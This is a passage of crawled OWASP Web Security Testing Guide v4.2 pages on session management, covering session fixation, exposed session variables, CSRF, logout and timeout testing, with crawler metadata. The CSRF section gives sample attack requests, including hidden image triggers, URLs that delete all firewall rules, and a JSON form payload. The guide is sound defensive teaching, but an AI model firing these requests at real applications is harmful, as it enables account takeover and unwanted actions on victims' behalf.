at step 5 has been performed successfully. If so, the attack was successful.\n7. Clear the cookie jar, login as the attacker and reach the page at step 3.\n8. Write in the cookie jar, one by one, the cookies saved at step 2.\n9. Trigger again the secure function identified at step 3.\n10. Clear the cookie jar and login again as the victim.\n11. Observe whether the operation at step 9 has been performed successfully in the victim’s account. If so, the attack was successful; otherwise, the site is secure against session fixation.\n\nWe recommend using two different machines or browsers for the victim and the attacker. This allows you to decrease the number of false positives if the web application does fingerprinting to verify access enabled from a given cookie. A shorter but less precise variant of the testing strategy only requires one testing account. It follows the same steps, but it halts at step 6.\n\n## Remediation\n\nImplement a session token renewal after a user successfully authenticates.\n\nThe application should always first invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another session ID.\n\n## Tools\n\n- [OWASP ZAP](https://www.zaproxy.org)\n\n## References\n\n- [Session Fixation](https://owasp.org/www-community/attacks/Session_fixation)\n- [ACROS Security](https://www.acrossecurity.com/papers/session_fixation.pdf)\n- [Chris Shiflett](http://shiflett.org/articles/session-fixation)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6323, "slov": 936, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:36", "sha256": "15222c4650ac31d8577158ad7e880cf59fca3e374c03bea791b777e2e36eb6a1", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security", "https://www.zaproxy.org/", "https://www.acrossecurity.com/papers/session_fixation.pdf", "http://shiflett.org/articles/session-fixation", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Exposed Session Variables"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Encryption & Reuse of Session Tokens Vulnerabilities"}, {"uroven": 3, "text": "Testing for Proxies & Caching Vulnerabilities"}, {"uroven": 3, "text": "Testing for GET & POST Vulnerabilities"}, {"uroven": 3, "text": "Testing for Transport Vulnerabilities"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Exposed Session Variables\n\n| ID |\n| --- |\n| WSTG-SESS-04 |\n\n## Summary\n\nThe Session Tokens (Cookie, SessionID, Hidden Field), if exposed, will usually enable an attacker to impersonate a victim and access the application illegitimately. It is important that they are protected from eavesdropping at all times, particularly whilst in transit between the client browser and the application servers.\n\nThe information here relates to how transport security applies to the transfer of sensitive Session ID data rather than data in general, and may be stricter than the caching and transport policies applied to the data served by the site.\n\nUsing a personal proxy, it is possible to ascertain the following about each request and response:\n\n- Protocol used (e.g., HTTP vs. HTTPS)\n- HTTP Headers\n- Message Body (e.g., POST or page content)\n\nEach time Session ID data is passed between the client and the server, the protocol, cache, and privacy directives and body should be examined. Transport security here refers to Session IDs passed in GET or POST requests, message bodies, or other means over valid HTTP requests.\n\n## Test Objectives\n\n- Ensure that proper encryption is implemented.\n- Review the caching configuration.\n- Assess the channel and methods’ security.\n\n## How to Test\n\n### Testing for Encryption & Reuse of Session Tokens Vulnerabilities\n\nProtection from eavesdropping is often provided by SSL encryption, but may incorporate other tunneling or encryption. It should be noted that encryption or cryptographic hashing of the Session ID should be considered separately from transport encryption, as it is the Session ID itself being protected, not the data that may be represented by it.\n\nIf the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate that risk. It should therefore be ensured that encryption is both the default and enforced for any request or response where the Session ID is passed, regardless of the mechanism used (e.g., a hidden form field). Simple checks such as replacing `https://` with `http://` during interaction with the application should be performed, together with modification of form posts to determine if adequate segregation between the secure and non-secure sites is implemented.\n\nNote that if there is also an element to the site where the user is tracked with Session IDs but security is not present (e.g., noting which public documents a registered user downloads) it is essential that a different Session ID is used. The Session ID should therefore be monitored as the client switches from the secure to non-secure elements to ensure a different one is used.\n\n> Every time the authentication is successful, the user should expect to receive:\n> \n> - A different session token\n> - A token sent via encrypted channel every time they make an HTTP Request\n\n### Testing for Proxies & Caching Vulnerabilities\n\nProxies must also be considered when reviewing application security. In many cases, clients will access the application through corporate, ISP, or other proxies or protocol aware gateways (e.g., Firewalls). The HTTP protocol provides directives to control the behavior of downstream proxies, and the correct implementation of these directives should also be assessed.\n\nIn general, the Session ID should never be sent over unencrypted transport and should never be cached. The application should be examined to ensure that encrypted communications are both the default and enforced for any transfer of Session IDs. Furthermore, whenever the Session ID is passed, directives should be in place to prevent its caching by intermediate and even local caches.\n\nThe application should also be configured to secure data in caches over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appropriate controls with reference to HTTP. HTTP/1.1 provides a number of cache control mechanisms. `Cache-Control: no-cache` indicates that a proxy must not re-use any data. Whilst `Cache-Control: Private` appears to be a suitable directive, this still allows a non-shared proxy to cache data. In the case of web-cafes or other shared systems, this presents a clear risk. Even with single-user workstations the cached Session ID may be exposed through a compromise of the file-system or where network stores are used. HTTP/1.0 caches do not recognise the `Cache-Control: no-cache` directive.\n\n> The `Expires: 0` and `Cache-Control: max-age=0` directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to ensure appropriate cache directives are in use.\n\n### Testing for GET & POST Vulnerabilities\n\nIn general, GET requests should not be used, as the Session ID may be exposed in Proxy or Firewall logs. They are also far more easily manipulated than other types of transport, although it should be noted that almost any mechanism can be manipulated by the client with the right tools. Furthermore, [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) attacks are most easily exploited by sending a specially constructed link to the victim. This is far less likely if data is sent from the client as POSTs.\n\nAll server-side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET. For example, consider the following POST request (`http://owaspapp.com/login.asp`) generated by a log in page.\n\n```\nPOST /login.asp HTTP/1.1 Host: owaspapp.com [...] Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG Content-Length: 51\n\nLogin=Username&password=Password&SessionID=12345678\n```\n\nIf login.asp is badly implemented, it may be possible to log in using the following URL: `http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678`\n\nPotentially insecure server-side scripts may be identified by checking each POST in this way.\n\n### Testing for Transport Vulnerabilities\n\nAll interaction between the Client and Application should be tested at least against the following criteria.\n\n- How are Session IDs transferred? e.g., GET, POST, Form Field (including hidden fields)\n- Are Session IDs always sent over encrypted transport by default?\n- Is it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS?\n- What cache-control directives are applied to requests/responses passing Session IDs?\n- Are these directives always present? If not, where are the exceptions?\n- Are GET requests incorporating the Session ID used?\n- If POST is used, can it be interchanged with GET?\n\n## References\n\n### Whitepapers\n\n- [RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli]](https://www.ietf.org/rfc/rfc2965.txt)\n- [RFC 2616 – Hypertext Transfer Protocol - HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6838, "slov": 1032, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:36", "sha256": "504891c78ffbc5ceab5e204b67236bf5c8f83b13b1f60074e7417cc1d57d2105", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.ietf.org/rfc/rfc2965.txt", "https://www.ietf.org/rfc/rfc2616.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Cross Site Request Forgery"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Cross Site Request Forgery\n\n| ID |\n| --- |\n| WSTG-SESS-05 |\n\n## Summary\n\nCross-Site Request Forgery ([CSRF](https://owasp.org/www-community/attacks/csrf)) is an attack that forces an end user to execute unintended actions on a web application in which they are currently authenticated. With a little social engineering help (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.\n\nCSRF relies on:\n\n1. Web browser behavior regarding the handling of session-related information such as cookies and HTTP authentication information.\n2. An attacker’s knowledge of valid web application URLs, requests, or functionality.\n3. Application session management relying only on information known by the browser.\n4. Existence of HTML tags whose presence cause immediate access to an HTTP[S] resource; for example the image tag `img` .\n\nPoints 1, 2, and 3 are essential for the vulnerability to be present, while point 4 facilitates the actual exploitation, but is not strictly required.\n\n1. Browsers automatically send information used to identify a user session. Suppose *site* is a site hosting a web application, and the user *victim* has just authenticated to *site* . In response, *site* sends *victim* a cookie that identifies requests sent by *victim* as belonging to *victim’s* authenticated session. Once the browser receives the cookie set by *site* , it will automatically send it along with any further requests directed to *site* .\n2. If the application does not make use of session-related information in URLs, then the application URLs, their parameters, and legitimate values may be identified. This may be accomplished by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML or JavaScript.\n3. “Known by the browser” refers to information such as cookies or HTTP-based authentication information (such as Basic Authentication and not form-based authentication), that are stored by the browser and subsequently present at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications that rely entirely on this kind of information to identify a user session.\n\nFor simplicity’s sake, consider GET-accessible URLs (though the discussion applies as well to POST requests). If *victim* has already authenticated themselves, submitting another request causes the cookie to be automatically sent with it. The figure below illustrates the user accessing an application on `www.example.com`.\n\n*Figure 4.6.5-1: Session Riding*\n\nThe GET request could be sent by the user in several different ways:\n\n- Using the web application\n- Typing the URL directly in the browser\n- Following an external link that points to the URL\n\nThese invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques and vulnerabilities that can disguise the real properties of a link. The link can be embedded in an email message, appear in a malicious website to which the user is lured, or appear in content hosted by a third-party (such as another web site or HTML email) and point to a resource of the application. If the user clicks on the link, since they are already authenticated by the web application on *site*, the browser will issue a GET request to the web application, accompanied by authentication information (the session ID cookie). This results in a valid operation being performed on the web application that the user does not expect; for example, a funds transfer on a web banking application.\n\nBy using a tag such as `img`, as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing them to visit a URL referring to a page containing the following (oversimplified) HTML.\n\n```\n \n...\n\n...\n \n```\n\nWhen the browser displays this page, it will try to display the specified zero-dimension (thus, invisible) image from `https://www.company.example` as well. This results in a request being automatically sent to the web application hosted on *site*. It is not important that the image URL does not refer to a proper image, as its presence will trigger the request `action` specified in the `src` field anyway. This happens provided that image download is not disabled in the browser. Most browsers do not have image downloads disabled since that would cripple most web applications beyond usability.\n\nThe problem here is a consequence of:\n\n- HTML tags on the page resulting in automatic HTTP request execution ( `img` being one of those).\n- The browser having no way to tell that the resource referenced by `img` is not a legitimate image.\n- Image loading that happens regardless of the location of the alleged image source, i.e., the form and the image itself need not be located on the same host or even the same domain.\n\nThe fact that HTML content unrelated to the web application may refer to components in the application, and the fact that the browser automatically composes a valid request towards the application, allows this kind of attack. There is no way to prohibit this behavior unless it is made impossible for the attacker to interact with application functionality.\n\nIn integrated mail/browser environments, simply displaying an email message containing the image reference would result in the execution of the request to the web application with the associated browser cookie. Email messages may reference seemingly valid image URLs such as:\n\n```\n \n```\n\nIn this example, `[attacker]` is a site controlled by the attacker. By utilizing a redirect mechanism, the malicious site may use `http://[attacker]/picture.gif` to direct the victim to `http://[thirdparty]/action` and trigger the `action`.\n\nCookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This does not include form-based authentication, which occurs just once and generates some form of session-related information, usually a cookie.\n\nLet’s suppose that the victim is logged on to a firewall web management console. To log in, a user has to authenticate themselves and session information is stored in a cookie.\n\nLet’s suppose the firewall web management console has a function that allows an authenticated user to delete a rule specified by its numerical ID, or all the rules in the configuration if the user specifies `*` (a dangerous feature in reality, but one that makes for a more interesting example). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request. To delete rule number one:\n\n```\nhttps://[target]/fwmgt/delete?rule=1\n```\n\nTo delete all rules:\n\n```\nhttps://[target]/fwmgt/delete?rule=*\n```\n\nThis example is intentionally naive, but shows in a simplified way the dangers of CSRF.\n\n*Figure 4.6.5-2: Session Riding Firewall Management*\n\nUsing the form pictured in the figure above, entering the value `*` and clicking the Delete button will submit the following GET request:\n\n```\nhttps://www.company.example/fwmgt/delete?rule=*\n```\n\nThis would delete all firewall rules.\n\n*Figure 4.6.5-3: Session Riding Firewall Management 2*\n\nThe user might also have accomplished the same results by manually submitting the URL:\n\n```\nhttps://[target]/fwmgt/delete?rule=*\n```\n\nOr by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded `img` tag pointing to the same URL.\n\nIn all of these cases, if the user is currently logged in to the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.\n\nAn interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e. it is sufficient that the link being attacked be reachable by the victim and not directly by the attacker. In particular, it can be any intranet web server; for example, in the firewall management scenario mentioned before, which is unlikely to be exposed to the Internet.\n\nSelf-vulnerable applications, i.e. applications that are used both as attack vector and target (such as web mail applications), make things worse. Since users are logged in when they read their email messages, a vulnerable application of this type can allow attackers to perform actions such as deleting messages or sending messages that appear to originate from the victim.\n\n## Test Objectives\n\n- Determine whether it is possible to initiate requests on a user’s behalf that are not initiated by the user.\n\n## How to Test\n\nAudit the application to ascertain if its session management is vulnerable. If session management relies only on client-side values (information available to the browser), then the application is vulnerable. “Client-side values” refers to cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication).\n\nResources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via JavaScript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.\n\nIn case of POST, the following sample can be used.\n\n1. Create an HTML page similar to that shown below\n2. Host the HTML on a malicious or third-party site\n3. Send the link for the page to the victim(s) and induce them to click it.\n\n```\n \n```\n\nIn case of web applications in which developers are utilizing JSON for browser to server communication, a problem may arise with the fact that there are no query parameters with the JSON format, which are a must with self-submitting forms. To bypass this case, we can use a self-submitting form with JSON payloads including hidden input to exploit CSRF. We’ll have to change the encoding type (`enctype`) to `text/plain` to ensure the payload is delivered as-is. The exploit code will look like the following:\n\n```\n
\n```\n\nThe POST request will be as follow:\n\n```\nPOST / HTTP/1.1 Host: victimsite.com Content-Type: text/plain\n\n{\"name\":\"hacked\",\"password\":\"hacked\",\"padding\":\"=something\"}\n```\n\nWhen this data is sent as a POST request, the server will happily accept the name and password fields and ignore the one with the name padding as it does not need it.\n\n## Remediation\n\n- See the [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) for prevention measures.\n\n## Tools\n\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [CSRF Tester](https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project)\n- [Pinata-csrf-tool](https://code.google.com/archive/p/pinata-csrf-tool/)\n\n## References\n\n- [Peter W: “Cross-Site Request Forgeries”](https://web.archive.org/web/20160303230910/http://www.tux.org/~peterw/csrf.txt)\n- [Thomas Schreiber: “Session Riding”](https://web.archive.org/web/20160304001446/http://www.securenet.de/papers/Session_Riding.pdf)\n- [Oldest known post](https://web.archive.org/web/20000622042229/http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan)\n- [Cross-site Request Forgery FAQ](https://www.cgisecurity.com/csrf-faq.html)\n- [A Most-Neglected Fact About Cross Site Request Forgery (CSRF)](http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf)\n- [Multi-POST CSRF](https://www.lanmaster53.com/2013/07/17/multi-post-csrf/)\n- [SANS Pen Test Webcast: Complete Application pwnage via Multi POST XSRF](https://www.youtube.com/watch?v=EOs5PZiiwug)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12899, "slov": 1857, "odkazu": 190, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:37", "sha256": "2104d0b2837a55b5c6b9b81f8b486a12c49c5a813a6a25365d6c36f4ce0f663d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", "https://www.zaproxy.org/", "https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project", "https://code.google.com/archive/p/pinata-csrf-tool/", "http://www.tux.org/~peterw/csrf.txt", "http://www.securenet.de/papers/Session_Riding.pdf", "http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan", "https://www.cgisecurity.com/csrf-faq.html", "http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf", "https://www.lanmaster53.com/2013/07/17/multi-post-csrf/", "https://www.youtube.com/watch?v=EOs5PZiiwug", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Logout Functionality"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Log Out User Interface"}, {"uroven": 3, "text": "Testing for Server-Side Session Termination"}, {"uroven": 3, "text": "Testing for Session Timeout"}, {"uroven": 3, "text": "Testing for Session Termination in Single Sign-On Environments (Single Sign-Off)"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Logout Functionality\n\n| ID |\n| --- |\n| WSTG-SESS-06 |\n\n## Summary\n\nSession termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks.\n\nA secure session termination requires at least the following components:\n\n- Availability of user interface controls that allow the user to manually log out.\n- Session termination after a given amount of time without activity (session timeout).\n- Proper invalidation of server-side session state.\n\nThere are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.\n\nAnother common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided.\n\nSome web application frameworks rely solely on the session cookie to identify the logged-on user. The user’s ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.\n\nUsers of web browsers often don’t mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.\n\nThe usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.\n\n## Test Objectives\n\n- Assess the logout UI.\n- Analyze the session timeout and if the session is properly killed after logout.\n\n## How to Test\n\n### Testing for Log Out User Interface\n\nVerify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.\n\n> There are some properties which indicate a good log out user interface:\n> \n> - A log out button is present on all pages of the web application.\n> - The log out button should be identified quickly by a user who wants to log out from the web application.\n> - After loading a page the log out button should be visible without scrolling.\n> - Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.\n\n### Testing for Server-Side Session Termination\n\nFirst, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don’t show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.\n\n> No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.\n\n### Testing for Session Timeout\n\nTry to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.\n\n> The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.\n> \n> The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.\n\n### Testing for Session Termination in Single Sign-On Environments (Single Sign-Off)\n\nPerform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.\n\n> It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.\n\n## Tools\n\n- [Burp Suite - Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)\n\n## References\n\n### Whitepapers\n\n- [Cookie replay attacks in ASP.NET when using forms authentication](https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7265, "slov": 1184, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:38", "sha256": "44debc3fc1d482d73664f135775a4a92cefe13f322c33d653333c51bd6c41344", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/documentation/desktop/tools/repeater", "https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing Session Timeout"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}], "markdown": "# WSTG - v4.2\n\n# Testing Session Timeout\n\n| ID |\n| --- |\n| WSTG-SESS-07 |\n\n## Summary\n\nIn this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.\n\nAll applications should implement an idle or inactivity 